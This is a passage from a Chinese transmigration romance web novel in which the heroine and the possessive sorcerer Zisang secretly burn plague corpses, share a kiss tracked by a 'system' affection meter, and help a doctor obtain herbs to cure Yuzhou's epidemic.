这双唇生得极其好看,玉润桃花,不点而红,如玉般的白净面容更是衬得唇红齿白,犹如一件巧夺天工的艺术品。
赵玉屿喉咙微动,恍惚间被蛊惑,微微启唇,垂下眼帘朝他吻去。
子桑望着她吻上来的面容,本该是占据主动胜券在握的一方,却心头悸动,呼吸微促,忍不住攥紧手掌,闭上眼睛等待着心心念念的吻落下。
鼻息纠缠,两唇即将相贴的那刻,突然传来一声吱嘎的轻响。
赵玉屿猛然清醒,推开子桑坐直掩盖慌张。
何附子拎着食盒走进院内:“医馆做了些午膳,我给你们带来了。”
她尚未进屋,就瞧着一双森冷阴翳、满是恨意的眼眸,着实被吓了一跳,原本想要跨进屋里的脚不知怎么的就收了回去,站在门外茫然无措:“有,有什么事情吗?”
怎么感觉屋里这么冷……
赵玉屿连忙起身拉着她进来:“没什么没什么,我们方才正在讨论怎么把尸体搬走。”
“这倒的确是个问题。”何附子颔首,瞥了眼一脸阴郁的子桑小心翼翼道,“不过若是神使大人能帮忙应该就是轻而易举的事情了。”
赵玉屿双手一合笑道:“正有此意!子桑大人已经答应帮忙啦!”
听到这话,何附子松了口气:“那真是太好了,我这些日子也一直头疼于尸体的去处,虽然如今天气尚冷,但这么多的尸体积压发臭总不是办法,我们没有多余的人力搬运,大家也都怕与尸体接触感染瘟疫。原本想过就地焚烧,可大街小巷连着的房子都是年久老旧,而今天气又干燥,很容易连片起火。”
她又瞧了一眼子桑,行了个标准的宫廷礼,恭维道:“不过如今有神使大人帮忙就再简单不过了,附子在这里先谢过神使大人。”
何附子的礼数周全,言语得体,自认为自己应当是没有得罪神使,可是不知为何,神使望向她的眼神总是充满着浓重的敌意。
她听到一声充斥着轻蔑、厌恶、鄙夷和恨意的轻呵,身子一怔,就见子桑缓缓站起身,像是一匹黑夜中屹立于山巅的狼王,眼眸中燃烧着森森鬼火,要将不自量力的对手撞入深渊。
何附子手心不知何时冒了一层细汗,忽而眼前银光一闪,她未曾瞧见那是什么,便听到一声高唤:“子桑大人!”
赵玉屿已经整个人扑在子桑身上,紧紧抱住他,将头埋在他的怀中,语气含着撒娇和不易察觉的惶恐:“我饿了。”
子桑顿了顿,伸手环抱住她的腰肢没有说话,见何附子还站着这里不动,他低声厌斥:“滚!”
何附子才从两人相拥的讶然中回过神来,了然又尴尬地将食盒放在桌上:“你们先吃,我还要回医馆。”
说罢她转身脚步匆匆朝院门走去,心中感叹。
难怪昨日瞧着神使和玉儿的举止就非同一般的亲昵,如今看来已然是郎情妾意、两情相悦。
瞧着赵玉屿面色绯红,许是方才自己坏了
人家的亲热,所以神使才一脸的愤恨阴翳。
何附子汗然,这是她的失误,进院子前应当敲门的。
何附子离开后,子桑将筷子朝桌上一丢,搂着赵玉屿的腰肢摩挲,弯起唇角道:“我们继续。”
赵玉屿这才松了口气,方才子桑怨毒地拿起桌上的一根筷子,本就修长的清峋手指青筋暴起,她毫不怀疑下一秒子桑会突然暴起将筷子戳入何附子的脖颈。
她顿时脑子一热,抱了上去拦住他。
虽然千钧一发之际成功阻止了一桩惨案的发生,但她没想到子桑下一秒居然还要亲亲!
她此时被子桑搂在怀中进退不得,只得双手抵着他的胸膛,仰头同他凑上来的脸保持距离:“你,你给我点时间准备。”
“?”
子桑不解,这需要什么准备?
赵玉屿面色一红,捂了捂双颊:“那什么,好歹是我的初吻,我得准备准备。”
子桑眉梢拧起,对于赵玉屿忘记他们前两次的亲吻很不满:“不是初吻,是第三次了。”
“啊啊啊啊我知道我知道,不用你提醒!”
赵玉屿面色炸红,嗔怪道,“但是这跟前两次不一样!”
“有什么不一样?”
见子桑刨根问底,赵玉屿气急败坏又面含羞涩,“第一次为了救人,而且我在昏迷中不知道不算数。第二次太突然了我都没反应过来,而且,而且前两次都是你亲我。这次是我第一次主动亲人嘛,肯定不一样!”
子桑觉得她说得也有道理:“那你要准备多久?”
赵玉屿面上红意稍退,支支吾吾:“总之现在不行,现在咱们还有重要的事情要做呢,等正事做完之后,再,再继续。”
第73章
子桑倒是并未拒绝:“玉儿,你不会骗我的,对吗?”
只要现在能逃离这令人尴尬的局面怎么都好说,赵玉屿小鸡啄米连番点头:“当然!我就是需要做些心理准备……”
子桑见她应下,嘴角轻快扬起,在赵玉屿额头上落下一吻:“好,那我等你。”
温热的吻让赵玉屿面色愈红。
她一开始的确害怕子桑的能力,但转念间想起了子桑岐的话。
若是当初瑶山族人改变对子桑鸓的偏见,是否一切就会不同?
赵玉屿垂眸,她也只是个普通人,当初她斥责瑶山族人的冷漠无情,可如今想来,自己在知晓子桑的真实能力那一刻本能的畏惧,其实同瑶山族人没有什么区别。
对权力的恐惧和偏见是人的天性,需要改变和成长的并不仅仅是子桑。
当初他杀死那些瑶山人,是因为那些瑶山人本就打算烧死他。
他们是不死不休的关系,而对于普通人,虽然子桑也排斥和厌恶,但并未真正伤害过百姓,至少只要她劝阻,子桑都会听劝。
或许让他能够真正摆脱儿时的阴影去接纳普通人并非一时一日之功,但不是没有可能,自己至少应当努力去尝试。
就是……就是为什么子桑最近好像沉迷于亲亲抱抱,总是黏着她不撒手。
难道是青春期男生的躁动?
想起方才自己一时鬼迷心窍差点就亲了上去,赵玉屿捂住脸颊。
哎呦,有些羞涩!
*
入夜,渝州城如今的城防并不算严律,因为瘟疫将士们说不害怕是不可能的,而今守城的士兵病得病死得死也少了大半,剩下人战战兢兢连天守岗本就疲倦,又满心颓丧认为如今这情形不会有人再进城,因此内心懈怠,蹲在护墙下挡着冷风,相互传酒共饮闲聊提神。
“你们说这满城的人都死了大半了,朝廷还会派大夫来救人吗?”
有人苍然又无奈的嗤笑一声:“你还在那做梦呢,知州大人不都说了吗,上面下令,封城!朝廷怕是早就放弃咱们了。”
有人惊恐:“那,那咱们就在这等死吗?”
“不然呢。”嗤笑的那人叹了口气,“咱们的户籍都在渝州,若是逃跑了便是逃兵,被抓住也是个死。没有户籍,也没有地方敢收留,唯有去当乞丐。再说,我老婆孩子都在这里,还能去哪呢?”
有年纪小些被临时征兵顶上的忍不住露出哭腔:“若是神使大人在就好了,神使大人乃是神仙下凡,必定会保佑我们的。”
先前那人又嘲笑道:“泥菩萨过河自身难保,神使自己都葬身大海了,你还指望他保护你?”
年长些的士兵叹了口气:“依我看呐,这就是上天降灾!之前神使降临我大雍,十年来风调雨顺,国泰民安,百姓安居乐业何来愁苦。可如今神使下落不明,这天灾立马就降了下来!这必定是老天爷的惩罚啊!”
旁人却疑问道:“可神使大人本也是要二十归天位的呀。”
“二十而亡,那是顺应天命,历劫成功回归天位。可如今神使不到二十便夭折,说不定是有小鬼故意扰乱天道,折我大雍国运,才引来天灾不断。”
那年长者喝了口酒暖身子叹气道,“能活一日是一日吧。”
几人正感叹,幽黑深夜里隐隐传来缥缈笛音,笛声清萧孤冷鬼魅曲萦,仿若幽门大敞小鬼开道。
笛声入耳,几人恍惚间眼前笼罩一层黑雾,在孤冷黑夜中迷失了意识,纷纷歪倒在地。
早已躲藏在城楼里的赵玉屿和子桑推门而出,将准备好的长绳丢下城墙形成绳梯。
与此同时,悉悉索索的声音从城墙下传来,不一会儿,上百只山魈顺着绳子翻上墙头,一跃而入,拥挤一团,其中竟然还混了几只黑猩猩。
赵玉屿卸下包袱,一一给它们分发缝了一下午的特制小口罩,仔细提醒:“呐,记住了,戴好口罩,将人和酒全部运出城,在城外十里的长亭外等我们知道吗?”
虽然目前看来这瘟疫只在人类传播,各家的宠物兽禽并未有感染的迹象,但该做的防护还是得做好。
一只看起来比较魁梧的猴老大拍了拍胸口,而后跳上城墙一挥手,剩下的猴子皆跟随着他朝城中一涌而去。
下了城墙,猴群秩序井然沿着主长街分散入各个街巷将堆积在巷子里的尸体拖出,连扛带搬挪到了板车上层层堆满。
猴多力量大,很快沿街的尸体都被清理的差不多了。
猴子们或推或拉,合力将板车浩浩荡荡朝城门处拖去。
剩下的几只黑猩猩从城里将拦门的横木搬下,打开城门,猴子们拉着载满尸体的板车穿过城墙,旁边没推上车的猴子们相互簇拥着,一蹦一跳弹得离地老高,吆喝着给搬运的猴子们打气,推推搡搡朝漆黑浓雾弥漫的黑夜中狂奔而去。
赵玉屿和子桑乘着飞鹤赶到十里亭外时,猴子们已经将尸体搬下堆在了一处垒成小山堆。
密密麻麻布满尸斑的的四肢在凄冷的月光下犹如青紫交白的鬼爪层层叠叠地伸出,看得人头皮发紧,肌肤渗麻。
猩猩们将酒坛布盖打开,一坛又一坛地泼在尸体身上,赵玉屿打开了火折子,将火折子吹开,幽幽火焰窜出扭动着火苗。
她望着这堆积的尸身深吸一口气,将火折子丢到尸山上。
触碰到烈酒的那一刻,火焰轰然燃烧,由下而上窜天冲起,很快便将尸体包裹住,尸山变火山。
猴子们畏火,纷纷惊叫着四下逃窜。
耀诡的火光将天色照耀得发红发亮,将赵玉屿和子桑的面容也映照在烈烈红光之中晦暗不明。
赵玉屿双眸暗光流转,凝望着火光伫立良久,熊熊之势让她看不清火焰中的层层尸骸,却能看到随着扭动火焰和热浪飘扬的灰烬。
“暮色埋骨昏鸦眠,小儿卧榻老无言。不闻昔日童颜笑,唯见浊泪落褴衫。”在昏红火光下,赵玉屿低声缓缓道,“子桑大人,我想回帝都。”
子桑望向她,赵玉屿也抬眸对上他的目光:“我想为王厨报仇,想为船上的人讨回一个公道。”
她不想看着奉仙宫血流成河,不想看到何附子被囚禁后宫与夫君生离死别,不想看到百姓再如渝州城这般被堵住生路绝望等死,尸横遍野,路有饿殍。
对于宋承嵘而言,他渴望的是皇位,他的心愿是万人之上九五之尊,野心占据了他的理智,他的心里只有权力,没有百姓。
这样的人配不上何附子,也配不上做万民之主。
嫡子又如何?皇室正统又如何?天命所归又如何?
心中没有百姓之
人,不配拥有王权桂冠。
即便拼尽全力,她也要将宋承嵘拉下马。
赵玉屿知道子桑不屑于回到帝都,可不论是为了任务还是为了那些她相识或不相识的人,她都是要回去面对这一切。
她张口,想要将在腹中盘桓已久的话说出,尽力说服子桑一起回去。
然而尚未开口,耳边已经传来一声平淡的回应。
“好啊。”
赵玉屿微怔,错愕地望向子桑:“子桑大人,你……也回去吗?”
子桑听到这话眉头微拧,伸手捏出她的脸威胁:“你要丢下我自己走?”
“不是不是当然不是!”赵玉屿连忙摆手解释,“只是你之前费了那么大心思假死,我以为你不想回帝都的。”
子桑弯起唇畔:“玉儿,天大地大我去哪里都无所谓。”
只要同你在一起。
只要同你在一起,即便是碧落黄泉,我亦心向往之。
烈烈火光中,子桑眸色如水,抚摸着赵玉屿的脸。
只要你想要的我都会帮你得到,即使我只剩下一年寿命,即使我无法陪你到老,但我也一定会完成你所有的心愿,让你风风光光无忧无虑地走完后半生。
“谢谢你,子桑大人。”
这次,赵玉屿没有躲闪、没有羞涩,她望向子桑压抑着眷恋与疯狂的玉容,忽而踮起脚尖,抬头吻了上去。
赵玉屿柔软的双唇覆上他的唇,唇齿相贴间可以清楚感受到少女的笨拙和生涩。
子桑眼眸愕然圆睁、瞳孔剧缩,睫毛颤若蝶翅,一个猝不及防的吻,搅扰了一汪春水。
扑通。
扑通。
扑通。
银铃骤响,心跳如鼓,随之响起的是系统持续不断的电子音。
【攻略对象好感度83】
【攻略对象好感度84】
【攻略对象好感度85】
【攻略对象好感度86】
【攻略对象好感度88】
【攻略对象好感度91】
赵玉屿心下松了口气,果然,她猜对了。
现在想要激起子桑的好感度,得加点刺激才行。
她先前便在想,既然好感度是随着子桑心情起伏不定的,那么突如其来的刺激就可以让他情绪起伏波动较大,即便之后好感度降低,但只要有一瞬间达到了90%,那她就算是成功了。
子桑鸓一看就是没谈过恋爱的,猝不及防的亲吻显然是最好的方法,所以她打算赌一把。
见好感度达成,赵玉屿刚想退开,却被一只手臂强劲的拦过腰肢,紧紧搂在怀中。
“子……唔……”
刹那功夫两人已经转变攻势,子桑低头追着她的唇,将她尚未说出口的话尽数吞下。
然而很快便子桑不满足于点到即止的亲昵,他凭借着本能轻轻撕咬着赵玉屿的唇畔,在她略微吃痛张开之际探入其中,勾起她的舌尖。
强势又猝然的撩拨让赵玉屿彻底僵在原地,唇齿纠缠间她忍不住屏住呼吸,身子因为生涩和紧张而微微发抖。
她的手抵在子桑的胸口,却抵挡不住他的入侵,只能被迫地承受一切。
细碎的呻吟从口中断断续续飘出,赵玉屿觉得呼吸渐短,胸腔紧促,扬起脑袋挣扎着想要推开他。
子桑的唇舌退开她的唇,胸膛起伏间望着赵玉屿因为缺氧和刺激而绯霞染颊的面容,双眼亮如春水。
第74章
在他退开的一瞬,赵玉屿像是脱水的鱼滑在他的怀抱中,贴着他的胸膛能够清晰听到两人交织的心跳声。
子桑将她紧紧搂在怀中,低头凑到她的肩弯处蹭了蹭,因为方才亲吻而温热艳红的唇回味般细细吻在她修长纤细的脖颈处。
赵玉屿身子僵住,偏头想要躲开他略痒的吻,却无处可退,只得憋红了脸低声道。
“子桑大人,我们还有正事要做。”
子桑不觉得还有什么事情比此时此刻还重要,他继续吻着赵玉屿的脖颈,想要等她呼吸匀称休息好后再亲一次。
这个的吻让他发现了新天地,比起前两次的浅尝辄止,这次的感受前所未有,仿佛天地间唯有他们两人而已。
回味着方才的吻,他的心跳得愈加厉害也愈加躁动,眼神微暗,抚在赵玉屿腰间的手也渐渐来回摩挲。
赵玉屿清晰的感受到他身体的变化,顿时吓了一跳,猛然大力推开他,结结巴巴道。
“子,子桑大人,我,我们快回去吧。”
说罢她扭头就想跑,却被子桑一把拉住胳膊重新拽回怀中:“你怕我啊?”
“不是不是!”
赵玉屿脸羞得通红不知道该如何同他说。苍天呐,这种事情怎么说得出口。
她结结巴巴半晌,捂着脸道:“子桑大人,你,你抵到我了。”
子桑眉头微蹙,好半会儿才意识到她说得什么,一瞬间面色空白,脸也红了起来:“哦”
赵玉屿已经推开他仓促爬上小白的背脊。
子桑呼吸片刻,很快便调整好跟着她跳上去。
口哨悠扬,小白随着哨声引颈高鸣,展翅飞回渝州城。
半空中赵玉屿死命朝前靠,生怕沾到子桑一丝半点。
男女之事子桑稍有了解,自然知晓赵玉屿害羞什么,但他不喜欢赵玉屿对他排斥畏惧的模样。
子桑按住她的肩膀,感受到赵玉屿刹那的僵硬,忍不住安慰道:“你别怕,我又不会伤害你,我只是控制不住。”
赵玉屿:“”
为什么说得那么理所当然啊!
控制不住这种事情就不要说出来啊!!!更尴尬了!!!
她闷声嗯了一声,差点将头埋在小白羽毛里。
就这么气氛微妙地回到城中,子桑吹奏玉笛唤醒陷入癔症的守城将士。
他的笛声会让他们迷惑心智,意识短暂的陷入沉睡中意识不到自己的行为,清醒之后不会记得任何事情,并且感受不到时间的流逝,只以为愣了个神的功夫而已。
眼前的黑雾退散,守城将士眨了眨眼睛,瞧了瞧身旁都歪坐的士兵,挠了挠脑袋:“我啥时候靠你身上的?”
旁边的士兵打了个哈欠:“许是酒喝多了,睡了一会吧。”
小院里,子桑跳下鹤背,转身朝赵玉屿伸出双臂。
赵玉屿方才被冷风一吹,心中的悸动也淡了下来,也不矫情,跳到子桑怀里后退开。
“你要不先休息吧,我得去找何大夫一趟。”
子桑不乐意:“我同你一块去。”
知晓拗不过他,赵玉屿也不阻拦,两人戴好口罩穿过小巷到了前街的医馆。
医馆里扎堆的病人或坐或躺在地上、床上、椅子上,一个小药童正打着盹照顾病人。
赵玉屿轻声问道:“何大夫呢?”
那小药童睁开困倦的眼睛,昏昏沉沉道:“何大夫在屋里休息。”
赵玉屿绕过满地的病人走进里屋,轻声推开门探头望去,何附子正趴在桌上睡觉,旁边堆满了各色药草,桌上散乱着一堆医书。
她的面色苍白,因为多日未曾休息眼下青黛醒目,头发凌乱,乍一看像是具青白女鬼。
赵玉屿瞧着有些心疼又心酸,踮起脚尖悄悄走到她身边,取下一旁挂着的斗篷给她披在身上保暖,未再多说什么便悄然离开。
出了药馆,她让子桑唤来一只白鸽,将提前写好的信塞入竹筒后放飞鸽子。
子桑蹙眉,语气有些酸溜溜:“你何时同那什么劳子小侯
爷有了干系?”
“我自然不认识这个裴小侯爷,我都没见过他。”
赵玉屿狡黠一笑,“但何大夫是他妻子,你猜他知道自己的妻子深陷危险,会不会赶过来?”
子桑轻嗤一声:“我怎么知道。”
赵玉屿双手捧在胸前幻想道:“若他赶过来,那说明他是真心喜欢何大夫,喜欢到可以不顾自身安危,与她同生共死,何大夫见了他必定会大为感动,小别胜新婚,两人必定浓情蜜意,生死相依。”
子桑不屑:“那他若不来呢?”
想到这,赵玉屿耷拉下脸,气鼓鼓地攥紧小拳头:“若他不来,如果他能为了何附子和渝州城的百姓在朝廷争取,那也能理解,但他如果瞻前顾后唯唯诺诺什么都不做,说明这人也是个嘴上说得好听,实则不是个东西!”
那也不值得何附子真心相待!
子桑很是不解,双手环胸问道:“这个何大夫于你非亲非故,你为何对她这么看重?”
处处为她考虑,甚至还为她披衣。
子桑眼眸微暗,闪现一丝嫉妒。
赵玉屿道:“渝州城的百姓也同何大夫非亲非故,她不也为了救人而殚精竭虑,夙夜未眠吗?如何大夫这样的人,能够一心为他人考虑,以救治天下苍生为己任,无私奉献,不求回报,难道不值得尊敬吗?”
她笑了笑,“不只是何大夫,那医馆的小药童,连轴医治的老大夫,送酒助人的酒铺老板,也同样值得尊敬啊。如果没有他们,渝州城早已成一潭死水,是撑不到今天的。”
子桑淡漠道:“就算撑得过今天又如何,瘟疫一日不除,他们也早晚都要死。”
“人固有一死,死也得死得有价值!”
赵玉屿斗志昂扬,话音一转,“再说了,我相信何大夫,听闻往日她就曾在豫州解决了瘟疫,那这次也一定可以!”
子桑瞧着她闪烁星光的杏眸,耸了耸肩:“随你吧。”
他揽过赵玉屿的肩膀打了个哈欠:“好困,我们回去睡觉吧。”
他都已经两天没合眼了。
睡觉!
若是往日赵玉屿倒不觉得如何,但如今一听到这两字忍不住脸红了起来,羞答答地拖着脚步不愿意回去。
子桑见她赖着不动:“怎么了?”
赵玉屿咳了咳,神色郑重:“我突然想起来,还有别的事情要做!”
子桑:“?”
*
清晨,何附子从睡梦中醒来,睁开睡意朦胧的眼睛坐起身,肩上一凉,她望着掉在地上斗篷,以为是小药童进屋帮她披上。
捡起衣服挂在架子上,何附子忽然瞧见桌上的镇纸下压着的一张纸。
她记得昨日这里并未有这张纸,拿起一看,是一张药方。
正奇怪着自己何时写下的药方,何附子仔细瞧了瞧,见上面的字迹又不像是自己的。
尚欠来不及思考这药方是谁放在自己桌上,何附子神色一震,连忙跑出去喊正在外面打盹的小药童。
“沛儿,咱们药店了还有黄芩吗?”
小药童猛然惊醒,摇了摇头:“没有了,前些日子都用完了,整个渝州城怕是都没了。”
何附子眼眸一转,猛然亮起:“扬州,扬州肯定还有!”
沛儿有些为难:“可是咱们现在出不去啊。”
“何姐姐这是怎么了?”
一阵笑吟吟的声音传来,赵玉屿和子桑走进药馆,何附子瞧见她和子桑,连忙将药方展示给他们瞧:“这个药方或许有效,只是如今渝州城已经没有黄芩了,扬州离这不远,咱们得到扬州城去取药。”
赵玉屿笑道:“这个倒是不难。”
小药童先困惑发声:“咱们又出不去,如何能取药?”
何附子望向子桑,眼前一亮:“可以偷来!”
她亲眼见过神使驭鹤,想来城中出入自如。若是神使乘鹤前去扬州,那取得黄芩易如反掌。
人命关天,只要能救人手段并不重要,等一切结束,她再亲自上门赔礼道歉,将银子奉上即可。
赵玉屿:“……”
怎么一个两个都学坏了呢。
她咳了咳:“其实,我们可以尝试去找知州大人商量一下。”
话虽有理,何附子却有些犹豫:“知州能答应吗?”
赵玉屿狡黠笑道:“当然!人都是趋利避害的,只要利益到位,有什么不能答应的呢。”
*
渝州府衙
毕劲复正埋头于满桌案牍愁眉苦脸。
如今渝州城瘟疫肆虐,他身为渝州知州不能放任不管,却又心有余而力不足。早些时候还能维护城中秩序,配合医馆救治灾民,可如今他手底下这点人死的死病的病逃的逃,如今能用的人手十个手指头都数得过来。
他倒是也想帮助百姓渡过难关,毕竟成了不仅百姓得救,这也算是他的政绩。
可光有想法没有人手也没有救治的药方,如何能救?
前日又接到太子殿下的加急密信封城,这分明就是放弃了渝州城,要将百姓困死在城中自生自灭。
昨日一早就有一大群人跑到府衙门前哭闹,衙门大门都被冲烂了,他却也无可奈何,连他自个都自身难保,还能怎么办。
毕劲复本就是在朝廷惹了人被打压发配下来的,而今太子监国,他若是不遵旨,那可就是直接惹恼了未来的九五之尊,不只是被发配了,而是要掉脑袋的结局!
他扬天长叹一口气,闭上眼无奈想,或许这都是老天注定吧。
罢了罢了,他也活了大半辈子,风光过体面过,死了就死了吧,坚守渝州城同百姓共患难,染病而亡,倒也是一件佳谈,说不定日后能将他写进千古名臣录里呢。
院外突然传来匆匆脚步声,师爷跑进来神色异样,大喊道。
“知州,街上出事了!”
毕劲复瞥了他一眼,都这个时候了还能出什么大事,大家都是到穷途末路快死的人了,有什么可大惊小怪的。
师爷知晓他不信,一拍手喊道:“真出事了,是见鬼了、见鬼了!”
第75章
师爷喊道:“今日一早,全城病死的百姓全都没了!”
毕劲复不解:“没了?怎么没了?”
师爷手背压手心一拍脆响:“就是,就是凭空没了!”
毕劲复心中又无奈又好笑,叹气道:“师爷,你是不是近来心慌意迷,压力太大了?回去休息吧,衙门有我在就行。”
见毕劲复不相信,师爷急得一拍脑袋:“哎呀,我的大人呐,您快出去看看,当真是一个人都没了!”
见他神色慌张不似作假,毕劲复心里也泛起了嘀咕,将信将疑地起身朝府衙外走去。
这一去当真吓了一跳,满街空空荡荡,地上干净得连张破席干草都没有。
毕劲复指着空巷指尖颤抖,惊愕道:“这,这,人都去哪了?”
不少百姓从家中探出脑袋,张望着外面的神迹,都惊愕不已。
早已闻言的安碌卫也赶到长街:“这是怎么回事?”
师爷一摸脑袋:“所以才说见鬼了啊!只一晚上的功夫,所有人都没了,我去问守卫,也都说没瞧见异样。”
毕劲复神色恍惚:“那其他感染瘟疫的病人呢?”
师爷答道:“倒是还在,医馆里如今人满为患,说来也是件奇事。今早医馆的何大夫找来府衙,竟说昨日入梦时有一仙鹤自东方归来,口衔药方赐福于她。那仙鹤口吐人语,言此药方能解渝州百姓于危难之间,她召集了城中大夫医师,皆说可以一试!只是还缺一味关键药材黄芩,需得赴扬州采买方可。”
毕劲复眼前一亮:“此药方当真管用?!”
师爷摇头:“这就不知道了,原先我也是不信的,可如今瞧这满城凭空消失的尸体却又不得不信,说不定当真是有神仙在背后相助,帮咱们渝州
城度过此劫啊!”
安碌卫却道:“毕大人,朝廷既要封城,您若是擅自开城门便是抗旨。”
师爷急了:“既然有希望,咱们应当试试啊,总不能就放任着满城的人病死不管吧!”
安碌卫沉吟片刻:“可以先飞鸽传书朝廷,待朝廷下命再行动。”
毕劲复听到这番话,踱步思忖。
太子要封城,他们若是此时开城门取药便是违背上令,不顾法度妄自行动,他头上这顶乌纱帽怕是不保。若是飞鸽传书回禀朝堂,待上面层层汇报决议,来回至少三四日,再去运药草,又得四五日,晚一刻便会多一份危险。
更别说这药方并未经得检验是否当真有效,难道上报朝廷说是做梦想出来的药方吗?也太过儿戏荒谬。
若是朝廷不答应冒险取药可如何是好。
毕劲复浓眉紧皱,但如今既有一线生机,若是不去尝试他们就只有死路一条。
毕劲复面色愈加凝重,而后下定决心衣袖一挥,喊道:“开城门,取药!”
安碌卫见他居然罔顾朝堂之令擅自做主,呵斥道:“毕大人,你这是抗旨!”
毕劲复双目圆睁,高声呵斥:“将在外军令不可为!渝州城的百姓死得已经够多!不能再死人了!”
“你不怕被治罪吗!”
毕劲复也来了骨气,将乌纱帽朝地上一摔:“朝廷既然不派人来救,我们就自救,还要如何!出了任何事情我一人承担!”
他朝师爷命道,“立刻飞鸽传书给扬州知州,告诉他将药草准备好放到二十里外长板亭,我们备好银钱即刻派人去取!若是不答应,我们渝州城人就举家搬到扬州城门下,反正渝州城已经半只脚踏入鬼门关了,还在乎什么面子官位!即刻去办!”
师爷听到这话大喜,连连应下转身朝府衙跑去。
安碌卫摇了摇头:“毕大人,你这是何苦呢。”
公然抗旨,得罪了太子殿下,日后就算不死也与仕途无缘了。
毕劲复这些日子心中恶气尽出,竟也觉得神清气爽,洒然一笑:“当初我在朝堂之中因为反对圣上沉迷炼丹修道而饱受排挤,郁郁多年被贬渝州。可如今才明白,人在绝望之际总是心向神明,祈求神祇降临。”
他意味深长,“至少对于神明来说,众生皆苦,众生皆等。”
往日他不屑神鬼之说,可面对瘟疫却束手无策,只能看着百姓惨死。孤鸿遍野朝堂不理,就连他往日推崇的太子都放弃了渝州城。
他怯懦过、踌躇过,也曾因无力而选择明哲保身。
可未曾想到连他都放弃了百姓,神明却未曾放弃。
方才那刻,他才明白何为绝处逢生。
比起相信眼前视人命无草芥的朝廷,还不如将希望寄托于虚无缥缈的神灵。
毕劲复心中酸楚又无奈。
他竟也走到了这般田地,可怜、可叹。
*
三日后,渝州城城门大敞,一队马车运着药草匆匆赶回城中。
毕劲复亲自率众奔赴长板亭,亭外已经整整齐齐停了一排载满药草的马车。
车上放着一张纸,纸上痛骂毕劲复不是个东西,居然敢明目张胆威胁,并表示这些药草都是扬州城人知晓渝州急需后自发相送,与扬州知府无关。
毕劲复抚须长笑,心中暗叹这扬州知州齐慧源当真是个老狐狸。
若有来日,必定请他喝上一杯好酒谢罪。
一同赶回来的,竟还有一个风尘仆仆的男子。
瞧着倒是富家子弟的装扮,但满头满脸灰尘,眼下青黛可见未曾休息,跃过回归的车队飞驰入城后便一股脑子到处揪人问他家夫人在何处。
众人一头雾水,连连摆手。
那男子急得团团转,汗水直流,沾了满头满脸的脏灰。
听闻药草送来的何附子放下手中活儿跑到长街一望,就瞧见自家那急得如热锅蚂蚁的夫君,顿时愕然喊道。
“元若。”
裴小侯爷听到这声熟悉的轻呼身子一怔,猛然扭头望去,瞧见人群外那一席如仙如娥的翩翩白衣,顿时喜极而泣,跑过去拨开人群将她抱在怀里。
“附子,我来晚了!我来晚了!”
他激动得语无伦次,想到自己差点便见不到何附子,忍不住哽咽:“你怎么这么傻,竟一个人跑到渝州来!我还以为,我还以为……”
何附子见他竟然哭了,目光柔若春水,伸出素手轻抚他的后背,柔声宽慰:“我很好,我没事的。”
何附子从他怀中退出,望着他苍白的面色心疼得伸手抚了抚:“怎么瘦了这么多?”
裴小侯爷轻抽鼻尖:“想你想的。”
何附子听到这话面色一红,垂眸含笑。
僻静的小巷里,赵玉屿瞧着长街中再次紧紧相拥的两人,忍不住双手捧心,歪头嗑糖:“啊,多般配的一对金童玉女呀!”
简直就是天设地造的一对璧人,瞧着就让人幸福得冒粉红色泡泡。
子桑对于金童玉女这四个字不屑轻嗤,在他看来唯有他和玉儿才担得上这四个字。
赵玉屿回头望了他一眼,忽然感叹道:“你们仨把日子过好比什么都重要。”
你们三个可得好好活下去,她一定要打倒宋承嵘,不让那个搅屎棍子打扰你们未来美好的生活。
子桑:“?”
他拧着眉头弯下腰,捏起赵玉屿的脸蛋:“你脑子里成天都在想些什么,我同他们过什么日子?”
赵玉屿被捏得脸微红,假意哎呦一声,子桑以为捏疼了她,连忙松开手:“疼吗?”
“不疼。”赵玉屿揉了揉脸蛋,嘟嘴道,“总之现在看来这个裴小侯爷是真的喜欢何附子,在渝州城瘟疫肆虐之时即便深陷囹圄也要赶来,必是抱着与何大夫生死与共的决心,的确是可以相信之人。”
这样的感情,让他如何能忍受爱妻被夺之痛,难怪原著里他最后选择了造反逼宫,虽身死仍不悔。
也正因此,让赵玉屿对原著中何附子最后居然接受了宋承嵘还跟他生了三个孩子的结局强烈怀疑,痛骂作者简直是个傻逼!
如今越与何附子他们相处,越让她在想到原著的结局时跟吃了苍蝇一样恶心。
居然让女主经历了强取豪夺、虐身虐心、堕胎失宠之后,依然选择原谅男主,跟男主那根用烂的黄瓜一起生孩子。
这绝不会是她认识的何附子会心甘情愿的结局。
作者你是受虐待长大的吗!你他妈怎么不自己去给男主生三胎啊?
让一个优秀的女性去给你那带把的亲儿子当生产工具,真他妈歹毒的恶婆婆视角。
赵玉屿想起自己在评论区激情评论后被喷不懂现实向言情的场景,再次攥紧手掌,眼中熊熊燃烧起战斗的火焰。
她斗志昂扬,这么美好的女孩子,她绝对不允许被宋承嵘那个狗东西毁掉!
赵玉屿朝天竖起中指,言情小说里别他妈跟我谈现实屌在上,作者你看着,老娘非把你那狗儿子干趴下!
一旁的子桑原是对她对裴小侯爷的肯定而酸溜溜,正想讥骂那小侯爷几句,然而眼瞅着赵玉屿忽然神色变化多端,一会儿欣喜,一会儿哀愁,一会儿愤怒,像只张牙舞爪的小猫,一时被吸引注意忘却了方才的醋意,双手环胸,歪头观赏好半会儿问道:“你又在想什么呢?”
他觉得赵玉屿的脑袋里好像总有些旁人想不到的世界,一个人咋咋呼呼得就可以将日子过得有滋有味。
赵玉屿理了理表情:“没什么,就是想到一个狗东西。”
见她在想别人,子桑眉头微皱,捧起她的脸扭向自己:“不准想别人,狗东西也不行,想我。”
见他居然连狗的醋都吃,赵玉屿原本严肃的表情忍不住笑出声,连连哄道:“是是是,你最好了。子桑大人又能干又好看,肯定是天下第一好呀~”
子桑听到这话弯起嘴角,昂起下巴略显
矜贵:“这还差不多。”
第76章
有了黄芩,何附子很快便配好了药方替重病之人灌下。病人当晚发汗后,第二日果真有了好转。
众人皆是大喜,即刻将药方广告于众,各家医馆纷纷免费配药相送,毕知州也欢喜过头,豪迈出言所有药钱皆由官府银钱补贴。
如此一来,三日之后渝州城瘟疫大好。许多人都已经从大病中恢复,只有些浅咳胸闷,并无大碍。
渝州城恍若从冰窖中解封而出,街上人气渐旺,不再如之前那般死气沉沉。
何附子自从药草到了后便没消停过,这几日在医馆里看病救人忙活得不可开交。
她那药方神祇般的获得方式早已在众人口中传开,渝州城人都知晓何附子是梦中得仙人赐福药方才救了大家,一时间不仅仅是看病的人,许多好热闹的百姓都凑到医馆前好奇探头观望瞧瞧这得仙人赐福的漂亮大夫长什么模样。
